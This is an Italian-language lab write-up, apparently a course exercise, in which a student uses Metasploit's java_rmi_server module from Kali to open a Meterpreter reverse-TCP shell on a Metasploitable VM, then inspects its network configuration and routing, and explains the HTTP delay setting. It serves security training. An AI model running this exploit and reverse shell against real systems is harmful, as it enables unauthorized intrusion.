

PROGETTO:

Il compito di oggi è diviso in diversi step:

- Assegnare indirizzo ip a kali: 192.168.11.111
- Assegnare indirizzo ip a metasploitable: 192.168.11.112
- Creare una sessione con meterpreter sfruttando la vulnerabilità sulla porta 1099- java rmi della macchina metasploitable
- Vedere la configurazione di rete
- Vedere la tabella di routing
- Cosa è HTTP delay e perchè potrebbe uscire un errore risolvibile impostandolo a 20.

```
kali@kali: ~/Desktop
$ ifconfig
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fead:2587 prefixlen 64 scopeid 0<20<link>
    ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
    RX packets 228 bytes 25728 (25.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 14 bytes 2284 (2.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

msfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:17:5a:9f
    inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fe17:5a9f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:63 errors:0 dropped:0 overruns:0 frame:0
    TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:7314 (7.1 KB) TX bytes:4898 (4.7 KB)
    Base address:0xd020 Memory:f0200000-f0220000

lo: Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:121 errors:0 dropped:0 overruns:0 frame:0
    TX packets:121 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:27275 (26.6 KB) TX bytes:27275 (26.6 KB)

msfadmin@metasploitable:~$
```

Una volta impostati i due indirizzi ip, facciamo il ping e il comando di nmap per accertarsi che i due dispositivi comunichino correttamente, e quali sono le porte con i relativi servizi e versioni che sono aperte sulla macchina vittima.

Apriamo un altro terminale su kali e avviamo msfconsole, cerchiamo l'exploit adatto per la nostra vulnerabilità sulla porta 1099- java rmi. Individuato l'exploit lo usiamo con il payload di default e andiamo a settare l'indirizzo ip della macchina vittima.

Fatto questo lanciamo il nostro exploit per creare una sessione ed entrare nella macchina sfruttando la vulnerabilità. Il java rmi è un servizio che consente a diversi processi java di comunicare tra di loro attraverso una rete. La sua

vulnerabilità è dovuta ad una configurazione di default errata che permette ad un attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

```
SSLCert      no      Path to a custom SSL certificate (default is randomly generated)
URIPATH      no      The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/gCOg33wMr
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55448) at 2024-11-15 03:58:11 -0500

meterpreter > 
```

Adesso la sessione è aperta e noi siamo dentro la macchina vittima, infatti vedendo la configurazione di rete possiamo vedere che il nostro ip sulla macchina di kali sarà adesso l'ip di metasploitable. Vediamo anche la tabella di routing per vedere gli indirizzi:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe17:5a9f
IPv6 Netmask : ::
```

CONFIGURAZIONE DI RETE

```
meterpreter > route
```

```
Home  
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
OT::1	::	::		
fe80::a00:27ff:fe17:5a9f	::	::		

```
meterpreter >
```

TABELLA DI ROUTING

L'ultima parte del compito diceva che questo exploit che abbiamo lanciato per entrare nella macchina target poteva darci un errore e se fosse successo avremo potuto risolverlo settando l'HTTP delay a 20 anzi che a 10 come è di default. Nel mio caso non ho avuto errori e tutto ha funzionato ma facciamo chiarezza sul perchè questo errore poteva verificarsi.

L'HTTP delay si riferisce al ritardo che si verifica tra una comunicazione http client e http server e può dipendere da diversi fattori come ad esempio:

- **Latenza di rete:** distanza fisica tra client e server e congestione nella rete.
- **Dimensioni della richiesta o risposta:** dati più grandi richiedono più tempo per essere trasferiti.
- **Cache:** l'assenza di cache (o configurazioni inefficaci) aumenta il delay, poiché il server deve sempre generare risposte complete.
- **Carico del server:** server sovraccarichi o mal configurati possono rallentare le risposte.
- **Protocolli di sicurezza:** handshake TLS/SSL aggiunge tempo alle connessioni HTTPS.
- **Content Delivery Network (CDN):** l'assenza di una CDN può aumentare il delay, soprattutto per utenti lontani dal server principale.

Concludendo l'esercizio consiglia, in caso di errore, di settarlo a 20 per dare più tempo di attesa per la comunicazione tra le due parti.